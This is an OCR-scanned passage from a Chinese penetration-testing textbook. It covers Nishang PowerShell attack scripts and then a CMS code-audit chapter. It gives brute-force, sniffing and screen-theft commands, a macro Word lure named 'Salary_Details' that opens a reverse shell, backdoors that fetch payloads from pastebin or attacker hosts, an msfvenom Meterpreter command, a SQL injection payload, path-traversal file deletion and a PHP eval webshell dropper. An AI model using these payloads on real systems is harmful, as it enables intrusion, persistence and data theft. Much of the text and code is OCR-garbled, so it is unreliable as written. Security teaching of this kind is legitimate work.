192.168.25 ”F.1 7. 。 － 6. ,
1?2.168.25 llIH- BS.12'1 "" 192.168.25 D62U Z0TU8 ‘、.. 
192.168.25 onil• l.inux 
192.169.25•.'30 Ill N斗 G!OQSt ‘n 

图6-189 扫描本地局域网

( 2）爆破破解 C Invoke-BruteF orce ) 

Invoke-BruteForce是Nishang中专注于暴力破解的脚本， 它用于对SQL Server 、 域

控制器、 Web及FTP弱口令爆破。首先查看帮助文件，如图6-190所示。

图6-190 帮助示例

此脚本的执行方式如下所示。
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PS > Invoke -BruteFo rce - Compute「Name ta「getdomain.com -Userlist C:testuser、s.txt -
Passwo「dlist C : testwo「dlist .txt -Service ActiveDirecto「y -StopOnSuccess -Ve「bose
＃＃爆破域控制器

PS > Invoke - Br、uteFo「ce -Compute俨Name SQLSe「v01 -Use「List C :testuser、 s . txt -Pas swo「

dlist C:testwo「dlist . txt -Se 「vice SQL -Ve「bose ＃＃爆破 SQL Se「ver

PS > cat C:testse川ers.txt I Invoke-B「uteFo「ce -Use「List C:testuse「s.txt -Passwo「

dList C : testwor、dlist . txt -Se「vice SQL -Ve「bose ＃＃爆破 5巴「ve「 .txt 中所有 se俨vers 的

SQL Se「ve「

具体的参数介绍如下所示。

. Computer Name 样对应服务的计算机名. User List ＃＃用户名字典. PasswordList ＃＃密码字典. Service服务（默认为SQL). StopOnSuccess ＃＃匹配一个后停止. Delay 时延迟时间

(3 ）嗅探

内网嗅探的使用方法比较简单，但是动静很大，在实在没办法的时候，可以尝

试一下。

在目标机上执行以下命令，如图6-191所示。

Invoke-Interceptor -ProxySe「ve俨 192.168 .2 50 .172 -P「oxyPo「t 9999 

翩翩翩翩翩翩翩翩翩
幢幢翩翩圄翩翩翩翩回i” nto·uT I ""'.Ith O'. ·1 
”’'' ""' T y ’”’: 1’” i t>p.>T·t'ln 川、＂＇＂＂； ＂＂＂＂＂＇＇＂ν →一千牛牛－－ 一 · 'ldolc,od';'.1'.;1r ‘!'/'I 

l°'CT O"ent ·”n ‘ ;J l 电／•； .o (\lino！。”c HT o.1; 1101/fd) Opplcllcbl(iu'.;J'/ Jι 〈权” I ”l.. like Gedo) Cluon町”S0.0.2fofol 102 s,,r..,. 11S3 
r, <111111 :ir，。IE 

'"""'’f Encυdit叫：『’＂＂ .1.,r 1,,,,, 

向＇＂们＂＇ '""'"""'"' "" IH .. <h;q•ILB 
" n，，拦，η ： quid t:l'7"116'1ft.1246'}7”321162!;?R4””. 149H449B4&77S. ·1!;s1 

－ τ←←二－'lrldc,,,t5951f 11'19 

一＿.. ＿···－·－·一··’“•－•ftll.a--1n1•nallm'lll

I'll'.'.'! 
’Mdc.u\595 If d'/9 

"'"'"nt-D>..pnc 1t rnn' f 01•n-d<0t e‘: nanc • "· .tcd"•"' 

fft:1111mnmsw.1.,.1咽nH1•1n1w..i~n11s1.1~nun……rllll'-"IUiftllt'.li•VlztW'.llt'lft:l

图6-191 在目标机中执行命令
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执行以下命令即可在本机监听9999端口， 如图6-192所示。

netcat -lvvp 9999 
iiiiiiiiiiiiiii画面－画画画画画画画E画画画画iiiiiiiiiiiiiii

listening on [any] 3128 
connect to (192.168.250.172] from smile TT.lan (192.168 . 250.66] 63247 
POST http: I /site. br01·1ser. 360. en/index. php HTTP I 1.1 
Content-Type: multipart/form-data; boundary=-- - ----------------…----- 7ddcad59 
lfd79 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) Apple州ebKit/537.36 (KHTML, like 
Gecko) Chrome/50.0.2661.102 Safa 「i/537. 36 QIHU 360EE Inte1·cepted T「af f ic 
Accept Encoding: 
Accept-Language: zh-CN,zh;q=0.8 
Cookie: guid=137231670.1246J70321162578400.1498449846775.7551 

--7ddcad595lfd79: 
Content-Disposition: fo 「m-data; name＝” rn “， fo 「m-data; name="sitedata" 
377559: 
6815060c071702010flb070c031905070216Sa5953504dl7435f471768: 
Host: site. browser. 360. en 
Content-Length: 254 
Expect: 100 -continue 

图6-192 本机监昕端口

(4）屏幕窃取

Show-TargetScreen脚本使用MJPEG传输目标机远程桌面的实时画面，在本机可

以使用NC或者PowerCat进行监听。 在本地使用支持MJPEG的浏览器（如Firefox）访

问本机对应监听端口，即可在浏览器上看到从远端传输回来的实时画面，正向反向

均可。

执行方式：

PS > Show-TargetSc 「een - Reve「se -IPAdd「ess 192 . 168 . 230 . 1 -Po「t 443 ＃＃将远程的

画面传送到 192.168.230.1 的 443 端口

具体的参数介绍如下所示。

• IPAddress 制后面加IP地址 （反向链接需要〉

• Port ＃加端口

• Bind 时正向连接

在目标机上输入以下命令就可以反向连接窃取屏幕。

Show-TargetSc「een -Reverse -IPAdd 「ess 192.168 . 250.172 -Po「t 3333 

接着在本机输入以下命令，之后访问本机的9999端口 ， 就可以窃取到目标机屏
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幕了，如图6-193所示。

netcat -nlvp 3333 I netcat -nlvp 9999 

'-' (JPEG Image. 1024 • ... x + 
令 。 127.0.0. 1:9999 I x n Q. Search 合白’俞

自Most Visitedv Iii Offensive Security 、Kali Lim川、Kali Docs 、Kali Tools 回Exploit-DB ‘Aircrack-ng

图6-193 窃取目标机屏幕

正向连接窃取屏幕的方法与反向的基本相同，命令如下。

目标机执行： Show-Tar、getSc「een -Bind -Po「t 3333 。

本机执行： netcat -nv 192.168.25θ.37 3333 I netcat -lnvp 9999 . 

命令执行完毕后同样访问本机的9999端口，就可以窃取目标机的屏幕了 。

5 . 主成木马

Nishang中还有各种脚本，它们可以感染各种文件，如HTA、 Word，用于执行

PowerShell脚本，可以神不知鬼不觉地发动攻击，此脚本的所有类型如图6- 194所示。
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。ut-<:HM .psl 2017/6/26 19:16 Wind。附 P~r『 20 KB 

。“－Excel.ps1 2017/6/2619:16 Wind。喃喃 Powe，向 15 KB 
Out·HTA.ps1 2017/1制岭，如16 时ndo响 P~r- 6 KB 

。‘rt·Java.psl 2017/6/26 19:16 Wtndo响 p~ι．． 8KB 
Out·JS.psl 2017/6/26 19:16 Wind。wsPo响ι． 3 KB 

。”t-SCF.psl 2017/6/26 19:16 Wtndo树 Poweι． 2 KB 
Out·SCT.psl 2017 /6/26 19:16 时ndo响 Po咐’… 4K8 
。ut·Shorta凡psl 2017/6/2619:16 Wtndo附 Po响’… 4 KB 

Id 。ut·Webα1ery.psl 2017/6/26 19:16 Wtndo响 Power- 3 KB 
Out·W•。，d.psl 2017/6/26 19:16 Windows Po啊’… 15 KB 

图6-194 查看木马类型

各个脚本的使用方法基本相同 ， 这里以生成受感染的Word为例。

具体的参数介绍如下所示。

. Payload 制后面直接加Payload ， 需要注意引号的闭合. PayloadURL ＃＃传入远程的Payload进行生成. PayloadScript ＃＃指定本地的脚本进行生成. Arguments 制之后将要执行的函数（得是Payload有的函数）. OutputFile ＃＃输出的文件名. 认TordFileDir ＃＃输出的 目录地址

• Recurse 制在WordFileDir中递归寻找Word文件

• RemoveDocx 剧创建完成后删除原始文件

首先输入以下命令， 在本地监听4444端口

Ne -lvp 4444 

接着制作Word文件， 打开nishang\Shells\Invoke-PowerShellTcpOneLine .psl这个文

件，复制第三行的内容，可以看到中间有一个TcpClient的参数，这里就是远程连接的

地址了，如图6- 195所示。

’ ’、－nt •nd chon;e th• horde。dtd IP aaart!!au. • -,…. "'v• all help co＝相！nt:s a5 well. 
I Cchenc • New·曲ject Sy且em.N盯．臼ck•tτ「w’．．惆.. . ’ ．‘ M掬 . 1 : ll。． 刊』，‘蝇昌ζ之兰：＂＇·臼t$ ，.叫） ' (byte 【 1 】＜by臼.. o . 日53

ts-c•••-<lt>j•Ct Net.S< 电＇＂ ＂。 ｝. wh忌le ((Ol•Osm R .. d (Sbt ， 。，，.

图6-195 查看远程连接的地址
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这里需要将这个地址和端口改成本机的IP和你监听的端口， 改完以后复制该代码，

在命令行下输入以下命令，如图6-196所示。

Invoke - Encode -DataToEncode ＇ 复制的代码 ’－ IsSt「ing -PostSc「ipt

llPS C. 、＞ Inυok< Encode D.o <“Tofnco<i< '$c I icot Nr.orOhjec< Syc.tcn .Net .Socl<eto. TCPClientC'192 .168 . 12 .110" .4444) ;$ ot< e•n 蝇 I

l1$c I> cnt. Get St>""""; ( hyl c ( 11$ hyteo ”·＂巳，，35 ：%《臼｝ ;uhilc《$i 亏 $ctrean Re,,rl($hνteo ，白，古bνteo. Lenyth» ne 0）《 Z弘＇＂＇＂ • <I 
l,Nc..-Ohjcct T ypcN‘me sυ。 ten T1 xt ASCl I Fncott 主何组） .C:ctSt 俨my （合＂•＇＂ ＇，”， $ i>; $ocnrlb,,c k · 〈主ex 冬＂·＂＇‘ 2 ＞＆立 : Out-St>'>ng );$ocn ＜~ 
日1Mck2 号O<nollo,,ck •”凹”·勺’‘’的 p,.,., .叮叮$oemlhylc • ((text.encodingl ;nSCJl).GetBytcs($oendhacl<2);$stlcan ”，•ite叫

I i＂＂阳t’盯，＠，$：‘．，、‘
I Tnc。d巳d rlat.‘ υ1•1t: 毡en z。、：nco‘’ crl.t x ‘ l 
!:Enc 。rlcd c。nncln‘h川ttc” to .、cue。巾ok。nn,u’＂·＂＇ I 

图6-196 执行代码

执行完成之后会在当前目录下生成两个文件， 一个是encoded.txt，另一个是

encodedcommand. txt 。

接着执行Out-Word -PayloadScript 泪ncodedcommand且t命令。

然后当前文件夹下会生成一个名为Salary一Details的doc文件。 目标用户打开Word

以后，会反弹Shell，在启用宏的计算机上没有任何提示，未启用宏的计算机会有启

用宏的提示。获取反弹的PowerShell后可以很容易地升级到Metasploit的Meterpreter,

如图6-197所示。

;;. 锺λ ＂睛 !J!! .., SJI DI F发二.

句 ·I) ' h细＇－°＂血。“回南檀茸I """’”& Wen! 

』』 袋富

A mv 
t

割

地血
”
u a 

,, . 固
呻
司
e

图6-197 反弹成功

6. 后门

( 1) HTTP-Backdoor 

HT霄，Backdoor可以帮助我们在目标机器上下载和执行PowerShell脚本，接收来
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自第三方网站的指令，然后在内存中执行PowerShell脚本，其语法如下所示。

TTP-Backdoo「－CheckURL http : //pastebin.com／「aw.php?i=jqP2vJ3x -PayloadURL 
http://pastebin.com/raw.php?i=Zhyf8「wh -MagicSt「ing sta「t123 -StopSt「ing stopthis 

具体的参数介绍如下所示。

• CheckURL 样给出一个URL地址，如果存在， MagicString中的值就执

行Payload来下载、运行我们的脚本

• PayloadURL ＃＃给出需要下载的PowerShell脚本的地址

• Arguments ＃指定要执行的函数

• StopString 时判断是否存在CheckURL返回的字符串，如果存在则停止

执行

( 2) Add-ScrnSaveBackdoor 

这个脚本可以帮助我们利用Windows的屏保来留下一个隐藏的后门，其执行方式

如下所示。

PS >Add-Sc「「1SaveBackdoo「－Payload ” powe「shell.exe -ExecutionPolicy Bypass -nop「of

ile -noexit -c Get-P「ocess ” ＃＃使用这条语句可以执行我们生成的 Payload

PS >Add-ScrnSaveBackdoor -PayloadURL http :// 192.168.254.1/Powe「prete「 . psml -A「gum

ents HTTP-Backdoor、

http://pastebin.com／「aw.php?i=jqP2vJ3x http : //pastebin.com／「aw . php?i=Zhyf8「wh sta 
「t123 stopthis ＃＃利用这条命令可以在 Powe「Shell 中执行一个

HTTP-Backdoo「

PS >Add-Sc「nSaveBackdoor、－ PayloadURL http://192.168.254.1/code_exec.psl 

也可以使用 rnsfvenom先生成一个PowerShell ，然后利用以下命令返回一个

Meterpreter o 

『ns于venom -p windows/x64/mete「P「eter／「eve「se_https LHOST=192.168.254.226 -f powe「S
hell 

具体的参数介绍如下所示。

• PayloadURL 时指定需要下载的脚本地址

• Arguments ＃＃指定要执行的函数以及相关参数

( 3) Execute-On Time 

Execute-On Time可以在目标机上指定PowerShell脚本的执行时间，与HTTP -
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Backdoor的使用方法相似，只不过多了定时的功能，其执行方法如下所示。

PS > Execute-OnTime -PayloadURL http : //pastebin.com／「aw . php?i=Zhyf8「wh -Arguments 
Get-Info「『nation -Time hh:mm -CheckURL http://pastebin.com／「aw . php?i=Zhyf8rwh -st 

op St「ing stoppayload 

具体的参数介绍如下所示。

• PayloadURL 时指定脚本下载的地址

• Arguments 样指定执行的函数名

• Time ＃设定脚本执行的时间 （例如 －Time 23: 21 ) 

• CheckURL 样会检测一个指定的URL内容里是否存在StopString给出的

字符串， 如果发现了就停止执行

( 4 ) Invoke-ADSBackdoor 

这个脚本使用NTFS数据流留下一个永久性后门。这种方法可以说是最恐怖的，

因为这样留下的后门几乎是永久的，也不容易被发现。

这个脚本可以向ADS中注入代码并且以普通用户的权限运行 ，输入以下命令即

可执行该脚本，如图6-198所示。

PS >Invoke-ADSBackdoor、－ PayloadURL http://192.168.12.110/test.psl 

'PS C ＇、＞ Invoke ODSB .. cl<door p,,y!oddURI, ht<1>'//l92.168.1?..llll/tc5t.p-1 

IPSP,,.h z ”:ic,.05ofl. Pouc,.Shc 11. Co1·c 、llc!li5try' 'Ill<EY CURRENT USER咀of t<m•e"1icroo时也、.\I ind。”o 'Curo•cntUc1•5 i。”、lluo
IPSP,H"cntPoth '”m•o.nft. Poue1•She I I .Co町、Jlcgi5tl•y＇＇阳凹 CURRENT USER咀dtuare响凹，•05of t """""'" 'Cm•1 cntUco•o rnn 
IPSChildH,,ne . Run 
'PS Drive lllCCll 
JPSP..ov ulc,. ·”ic1•0 ：：。s t . PoucrShell.Corc 、Regiotry

u,,d,,teυ＂＂＇＂＇＂ -'"" c ＇吐l5c町、om le咄1>i>D•t••· y<1ykuS2 > l«h.vJ,, 

P,.occ55 Con1>letc Pc,.5>5tent key '° located '" llKCU ＇、Softuare明icro5of t、旧时。”s咀u1'>·cntUc1 o rnn~un咀pd• .ie 

图6-198 执行后门脚本

执行该脚本之后，如果目标用户手动找根本不会找到任何东西 ， 使用命令dir /a /r 

才能看到被写入的文件，如图6-199所示。
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图6-199 查看被写入的文件

Nishang这款基于PowerShell的渗透测试专用工具集成了非常多的实用脚本与框

架，方便我们在渗透测试的过程中使用 。 尽管，在一些环境下可能没有办法执行

PowerShell ， 但是通过查看这些脚本的具体代码，我们也可以自己去实现脚本提供的

一些功能。

h
飞
，．



第 7 章 实例分析

7.1 代码审计实例分析

对网站进行渗透测试前，如果发现网站使用的程序是开源的CMS，测试人员一

般会在互联网上搜索该CMS已经公开的漏洞，然后尝试利用公开的漏洞进行测试。

由于CMS己开源，所以可以将源码下载后，直接进行代码审计，寻找源码中的安全

漏洞。 本章将结合实际的源码，介绍几种常见的安全漏洞。

代码审计的工具有免费的也有商业的，例如RIPS 、 Fortify SCA、 Seay源码审计

工具、 FindBugs等。这些工具实现的原理有定位危险函数、语句分析等。在实际的代

码审计过程中，工具只是辅助，更重要的是测试人员要具有较强的代码开发知识，

结合业务流程，寻找代码中隐藏的漏洞。

在代码审计时，常用的IDE是PHPSTORM + Xdebug，通过配置IDE，可以单步调

试PHP代码，方便了解CMS的整个运行流程。

7.1.1 SOL 注入漏洞

打开CMS源码的model抖1p文件（model文件一般为操作数据库的文件〉，会发现

函数GETinfoWhere（）将变量$strWhere直接拼接到select+吾句中，没有任何的过滤，代

码如下所示。

public function getin卡oWher、e($str

t「y { 

$table = $table?$table:$this ” >tablenamel; 
$st「SQL = "SELECT $field FROM $table $st「Whe「e";
$「s = $this->db - >que「y($st「SQL);

$a「「Data = $「s->fetchall(PDO::FETCH_ASSOC);

if( !empty($a「「Data ［ θ ］［’ str、ucton_tb'])) $ar「Data = 
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$this->loadTableFieldG($ar、「Data);

if($this->a「「GPdoDB ［’ PDO_DEBUG']) echo $strSQL. ’ ＜ b「＞＜ b俨〉·；

「etu「n cu俨「ent($a「「Data);

} catch (PDOException $e) { 
echo ’ Failed:’. $e->getMessage(). ' < b「＞＜ b 「〉’ ；

如果可以控制变量$strWhere的值，就有可能存在SQL注入漏洞。在源码中搜索

函数getlnfoWhere（）的调用 点，发现/include/detail.inc抖lp调用了该函数。变量$obj

Weblnit是初始化数据库对象，然后将$_ GET['name＇］拼接给 $arrWhere ，最后将

$strwhere语句带入到getlnfoWhere（）函数中，代码如下所示。

$objWebinit = new a 「chives();

$objWebinit- >db() ; 

$a「「Whe「e = a 「「ay();

$a「「Whe「e [] =” type_title_english =’”.$_GET[ 'name ’].”’”; 

$st俨Where = implode ( ’ AND ’ ， $a 「rWhe「e) ;

$st 「Where = 'whe 「e ’ .$st「Whe「e;

$a 「「Info = $objWebinit- >getinfoWhe陀（ $st「Whe「e);

if(!empty($a「「Info ［’『『1eta_Title ’］）） $strTitle = $ar「Info ［ ’ meta_Title ’]; 

else $st「Title = $a「「Info ［’ module_name'] ;

if(!empty($a「「Info ［’『『1eta_Desc「iption ’］）） $strDescription = 

$a「「Info ［’ meta_Desc「iption'] ;

else $st「Desc 「iption = $str、Title. ’， , .$a「「Info ［’ module_name ’]; 

if(!empty($ar「In手。［ ’ meta_Keywo「ds ’］） ) $st「Keywo「ds = $a「「Info ［’ meta_Keywo「ds'];

el se $str、Keywor、ds = $a「「Info ［ ’ module_name'];

可以看到，参数name从获取再到拼接入数据库中，没有经过任何的过滤，所以

如果代码中没有使用全局过滤器或者其他的安全措施，就会存在SQL注入漏洞。

直接访问http:// 127 .0.0.1/include/detail.inc. php?name= 1 时，程序会报错，如图7-1

所示。

← －， σ 命 0. 1 27 .0.0 .l [on<hod</d＂＇＂」n<php'naone•l

Waming: require＿。旧叫四n句／C。nfig.inc.php) : fai led t。。pen stream: N。 such file 。r directory in n I 

Fatal error. require_onceQ: Failed opening required 'config/c。而g.in叩忡’（1nclude_path = ',-C:\php\pear) in 

图7-1 不能直接访问
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在源码中搜索detail.inc抖lp的调用点，发现／detail抖lp中通过require_once（）直接将

该文件包含进来。

<?php 
「equire_once( 'include/detail. inc. php'); 
?>

访问 127.0.0.1/detail.php?name=l 1111 ’ union select 1,user(),3,4%23时，程序直接将

user（）的结果返回到了页面，如图7-2所示。

~ 127.0.0.1/deta;! php?name=11111' union select 1.user0.3.4%23 

I root@localhost I 
公布于组

λ才于邵害

联系翻日

图7-2 注入成功

7.1.2 文件删除漏洞

m。t@I。臼lh。st 当商也置回国》， root@looi lh臼t

打开CMS源码中的upload.php文件，该页面用于上传文件，实现的功能是先删除

旧文件，然后上传新的文件，代码如下所示。

if ($_FILES [’ Filedata '][’ name ' ] !=””){ 
$st「OldFile = $a「「GPic ［’ FileSavePath']. 'bl'. $_POST[' savefilename']; 
if (is_file($strOldFile)) { ／／原文件删除

unlink($st「OldFile);

$_POST[' photo'] = 

$objWebinit->uploadinfoimage($_FILES['Filedata '],”,$_POST [’ FileListPicSize ’],$_P 
OST[' csize0'], $_POST [’ id']); 
}else{ 

$一POST ［’ photo ’］ = $_POST[' savefilename ’]; 

程序首先将文件的保存路径$a盯GPic ［’FileSavePath’］

$一POST［’savefilename’］连接，然后用is_file（）判断文件是否存在，如果己存在，则删除

原文件，但这里存在两个问题。

• 代码没有判断$ POST['savefilename’］的后缀，所以可以任意对后缀进行修改，

比女日install.lock 。
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• 代码没有过滤“． ” ， 导致用户可使用“ ．．”跳转到其他目录，如..／. ./. ./data/ 。

利用以上两点， 我们可以构造$一POST［’savefilename’］＝ ．．

时unlin』E函数就会删除install.lock 。

利用过程： 修改POST表单内容『savefilename’＝． ．／人Idata/install.lock，然后提交。

这里虽然提示“文件类型不符合要求”，但是其实己经删除了．人

件，如图7-3所示。

－句－申句，－ -- - -- - - -- - - --- - ------ - - 19069 l 93 l 2 546 9 289 56 l 00 4 9 
5‘ 33 2 
c。nte nt-Disp。a iti.on . 室。rm-data; name• ”。kg。－

确 定
- - ---------------------------19069 l 93 l 2 5‘6928 956100‘9 
5‘ 33 2 
c。nte n t -D立. .。a l.ti。n' t。rm-data , name•" savoph。t。 l 1· 

1 
- - - -- -- - --- - - - - - - - - --- - - -- -- - l 9 0. 9 l 9 312 5‘ 6928956100 4 9 
5‘ 33 2 
Content-Cup。a l.tl.。n ' t。rm-data , nan憾，• savetilenam• ”

.. I . . I . . / data / install. l。ck
- ------- - - --- - - ------ - -- - - --- l 9 0. 9 19 312 s‘ 6 9 2 8 956 10 049 
5‘ 3 32 

图7-3 删除任意文件

7.1.3 文件上传漏洞

Date：”。n , 09 Mar 20l5 " ' 37'16 GMT 
Sorvor • Apache 
X-P。wored-By PHP/5 4. JC 
Exp豆r.. ”。”’。， Har 20l5 ll '37d6 GMT 
cac ho-c。ntrol' priv ate 
P r agma' no-oac he 
Laat-N。ditiod ：”。n, 09 Har 20l5 ll'37 d 6 GMT 
Content-Length' 7 l 
Kaep - Ahve ti回，.out-5 , maxu l OO 
Connooti。n ， ’‘••p-AJ.基ve
Content-Typo ' text / html; charset•UTP- 8 

<ocript>alort ( •立件贫型不符古墓草υ ＇ ）； bi at。ry. ，。（－ l );
</ocript> 

打开CMS源码中upload.php文件， 该页面用于上传头像，代码如下所示l 。

public function upload() { 

文件夹

i手（！ isset($GLOBALS['HTTP_RAW_POST_DATA ’］））｛

exit （＇ 环境不支持’） ; 

$dir = FCPATH. 'membe「／ uploadfile /member、／’ .$this- > uid. 'I '; I I 创建图片存储

1于（！ file_exists($di「））｛

mkdi「（ $di 「， 0777, t 「ue);

$filename = $di r . ’ av at a 「 . zip' ; I I 存储 flashpost 图片

file_put_contents($filename, $GLOBALS [’ HTTP_RAW_POST_DATA ’]) ; 

／／ 解压缩文件

I 本节的部分内容引用 自h即s://www. leavesongs .com/PENETRATION/after-phpcms -upload-vu l .html 。



368 ~ Web安全攻防 ： 渗透测试实战指南

＝＝ θ）｛ 

$this- >load ->lib「a「y('Pclzip');

$this->pclzip- >Pc1File($filename) ; 
if ($this - >pclzip->ext「act(PCLZIP_OPT_PATH , $di 「， PCLZIP_OPT_REPLACE_NEWER)

exit($this- >pclzip- > zip(t「ue));

／／ 限制文件名称

$avata「a「「＝ a「「ay （’ 45x45.jpg', '90x90.jpg' ); 

／／ 删除多余目录

轩iles = glob($di「． 刊 ”） ; 
foreach($files as $_files) { 

i手（ is_dir($_files)) { 

d「＿di「＿delete($_files);

if (!in_array(basename($_files) , $avatara「「））｛

@unlink($_files) ; 

／／ 判断文件安全，删除压缩包和非 jpg 图片

if($handle = opendir($di「））｛
while (false ！＝＝（轩ile ＝ 「eaddir($handle))) { 

if （$手ile !== '.' && $file !== ' . . ') { 

closedi「（ $handle);

@unlink （轩ilename);

if (!in_ar「ay($file, $avatara「俨））｛

@unlink( $di「 . $file); 
} else { 

$info = @getimagesize($di「. $fil e ); 
if (!$info 11 $info[2) ! =2) { 

@unlink($di「. $file ) ; 

上述代码实现的操作如下所示。
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• 创建上传目录$dir。

• 将POST内容（浏览器传递的压缩文件〉保存到$dir/avatar.zip中 。

• 调用PclZip库解压缩avatar.zip，如果解压失败，就用exit（）退出程序 。

. 如果解压缩后存在目录，则调用dr_ dir _delete（）删除该目录。

• 然后删除avatar.zip和文件（除了45x45.jpg~D90x90.jpg ） 。

这里很容易想到的一个绕过的方法就是利用竞争条件，先上传一个包含创建新

Web Shell的脚本，如下所示，然后在文件解压再到文件被删除的这个时间差里访问该

脚本，那么就会在上级目录生成一个新的WebShell 。

<?php 
fputs(fopen (’ . . /shell.php ’,’w’ ),’<? php @eval($_POST[a]) ?>’); 

?>

下面介绍第二种绕过的方法，上面说到程序调用PclZip库解压缩avatar. zip，如果

解压失败，就用exit（）退出程序，后面所有的操作都不会执行（包括删除文件），这里

如果能构造一个压缩文件，可以选择解压一部分文件，但在解压未完成时将出错，

此时会新出现一个问题： WebShell被解压出来，但由于解压出错，所以程序会exit(),

后面的删除操作都不会执行。 利用这个方法，就可以成功上传WebShell 。

利用的过程如下所示。

• 注册账号，然后在上传头像时使用B旧p Suite抓包。

• 构造一个正常的zip文件，其中 1.png是图片， 2.php～5.php都是php文件，如

图7-4所示。

各称 压缩前 压缩后 樊型

（上级自黝 文件夹

圈 1.png 6.8 KB 6.6 KB PNG 文件

可2.php 1 KB 1 KB PHP 文件

3.php 0 KB PHP 文件

4.php 1 KB 1 KB PHP 文件

"iJ S.php 0 KB PHP 文件

图7-4 zip文件
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在Burp Suite中，使用“Paste 企om file”将zip文件放到请求数据包中，如图

7-5所示。

HR羽~雨雨a
Name 

POST 

H。st

Content-length 

Origin 
x~司equested-With

User－ρ唱ent

Content-Type 

k饵”
Referer 

Acee民ξnc。ding

Value 

/memberfindex.阶p?c=acc。unt&m刊肘。ad HπP/1 . 1 

127.0.0.1 

,C王己
~ 
~ 
G至1

18324 

http:/1127.0.0.1 

Sh民kw由eFlash/29.0 .0 . 113

Mozilla/5.0 仰ind侧S NT 10.0, Win64； 始4)AppleW.. 

application/田let-stream

·r 
http:/1127 . 0 . 0 . 1/member/statics/a咽.tarlmain . swf

gz1p. deflate 

Send to Spider 

Do 四 active SC田

Send to Intruder CMφI 

Send to Repeaterα加R

Send to Sequencer 

Send to C。mparer

Send to Decoder 

Request in browser ” 
Engagement tools ~ 

Chm唱e reque目 meth。d

Change body enc。ding

c。PY

Copy URL 

Copy as curl com何回回

4‘ 

’ 
日丁 i刀口JG1 1 r，阴阳则 term

图7-5 将zip文件放入数据包

Sa暗址em hes 

( 4 ） 在HEX中， 将最后面的5 .php对应的HEX内容修改为类似的格式，如图7-6

和图7-7所示。
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• 请求该数据后，返回结果如图7-7所示，程序返回500错误，且爆出PHP的错

误，说明程序解压缩失败了 。 这时在服务器的上传目录中，可以看到，部

分文件已经被解压出来了，如图7-8所示。

－－－←一－嘿 ... m ber > uploadfile > member > 2 v 。在

1.png 2.php 3.php 4.php avatar.zip 

图7-8 部分文件被解压

再仔细查看解压缩文件的代码，如下所示，会发现函数extract（）中使用的参数是

PCLZIP OPT PATH, PCLZIP OPT PATH，代表了压缩包将被解压到的目录。

$this -> pcl zi p- > ext 「act( PCLZIP_OPT_PATH, $d i 「 ， PCLZIP_OPT_REPLACE_NEWER )

PclZip允许将压缩文件解压到系统的任意位置，参数PCLZIP_OPT_ EXTRACT_ 

DIR RESTRICTION可用于只允许解压到指定目录，而不能解压到其他目录的情况。

这里程序存在很明显的问题，没有使用参数 PCLZIP OPT EXTRACT DIR 

RESTRICTION，所以我们可以构造压缩文件，其中包含一个a抖lp的文件，当程序解

压时，会将a.php解压到上级目录。 由于不能直接创建a抖lp的文件，所以可以通过修

改HEX来实现。

利用的过程如下所示。

• 新建一个压缩文件，包含1 .png和2222.php两个文件，如图7-9所示。

1.png 2222.php 

图7-9 压缩文件
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• 使用notepad＋＋打开该压缩文件，将2222.php修改为. ./2.php，如图7-10和图

7-1 1所示。

回画画！ 由回IPK- ‘w。L )? 22司 . php<?php phpinfo 川，

?> PK - 二.二三二uBIUL l.2. l‘h………w: 
－圄噩噩噩画圈圈圈圈圈圈圃圃l.pnqPK ”。L) ?
圃’回国国回噩噩噩··－圃112222 . phpPK- a ……·? ......... 

图7-10 原压缩文件

m111 瞌圃’Pl《』噩噩噩噩…固自圃酣圄··画画画画画画圄．‘lioL )? . . /2. ph p<?php phpinf。 （） ；

？〉，只－－…－－－－－二←－uBIUL12. l\h…－圄.. 回
－一－ l pnqPK二＝二二一二一一... 叫‘怖。L)?

回II 圆圈圃画－？画圈圈画画 .／2 phpPK－「？一－一『 泪…·皿·？回圄....... 

图7-11 修改后的压缩文件

• 使用B町 Suite发送请求后，可以看到，在上级自录下创建了一个2.php文件，

如图7-12所示。

「O

名称

2 

2.php 

图7-12 成功上传WebShell

7.1.4 添加管理员漏洞

"Jer > upload白le > member > vt) 搜索＇mi

修改日期 类型 大小

2018/3/15 19:39 文件夹

2018/3/15 10:57 PHP 文件 1 KB 

打开CMS源码中的regin.php文件，该页面是用户注册页面， 代码如下所示

if($_SERVER [” REQUEST_METHOD"] ==”POST”){ 

/ * 

i于（！ check::validEmai1($_POST ［’ email'])){

check: : Aler、tExit （”错误： 请输入有效的电子邮箱 ！”，－ 1);

* / 

工f( !check: :CheckUse「（$＿POST ［’ use「＿name ’］））｛

check: : Ale「tExit （”输入的用户名必须是 4-21 字符之间的数字、字母！”，－ 1);

un set($_POST['authCode ’]); 
unset($_POST[ ' passwo「d_c']);
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$_POST ［’「eal_name ’］ = st俨ip_tags (t 「im($_POST['real_name ’])); 

$_POST ［’ use「＿name ’］ = strip_tags(trim($_POST['use「＿name ’］））；

$_POST [’ nick_name ’] = st「ip_tags(t「im($_POST ［’ real_name ’]) ) ; 
$_POST[' use「＿ip ’］ = check: :getIP(); 
$_POST [’ submit_ date ’] = date (’ Y-m-d H:i:s ’); 
$_POST['session id']= session id(); 
i俨（！ empty($ar、俨G~归b ［’ use俨＿pass_type']))

$_POST['passwo「d ’］＝check: :st 「Enc「yption($ POST ［’ passwo「d '],$arrGWeb ［’ jamst「．］）；

$intID = $objWebinit->saveinfo($_POST,0,fals巴， t「ue);

ec ho 气SC「ipt >ale「t （’注册完成

’) ; window . location＝’｛ $a 「「GWeb[ 'WEB_ROOT_p「巴’）｝／＇；＜／ sc「ipt ＞”；

exit (); 
} else { 

check: :Ale「tExit （’注册失败 ’，－ 1);

首先通过多种判断限定用户名必须是4～21个字符之间的数字、字母，用户名不

存在非法字符等。接下来将$POST带入到savelnfo（）函数中，代码如下所示。

$intID = $objWebinit - >saveinfo($_POST,0,false,true); 

跟进savelnfo（）函数，代码如下所示。

function save!nfo($a「「Data,$isModi于y=false,$isAle「t=t「ue,$isMcente「＝false){
if($isMcente「）｛

$strData = check::getAPIArray($a「「Data);
if ( ! $intUser、ID = 

check::getAPI （’ mcenter、，，’ saveInfo ’ 3 ” $str、Data"$isModify"false”））｛

if （$工sAle「t) check: :Ale「tExit （＂与用户中心通讯失败，请稍后再试！”， － 1);

「etu「n 0; 

$a「「＝ ar「ay();

$ar「＝ check: :Sqlinjection($this->saveTableFieldG($a「「Data,$isModi句））；
if($isModify == 0){ 

if(!empty($intUse「ID)) $a俨「［’ use「＿id'] = $intUse「ID;
if($this->inse「tUse「（ $a「「））｛

if ( ! empty ( $intUser、ID））「etu「n $intUser、ID;



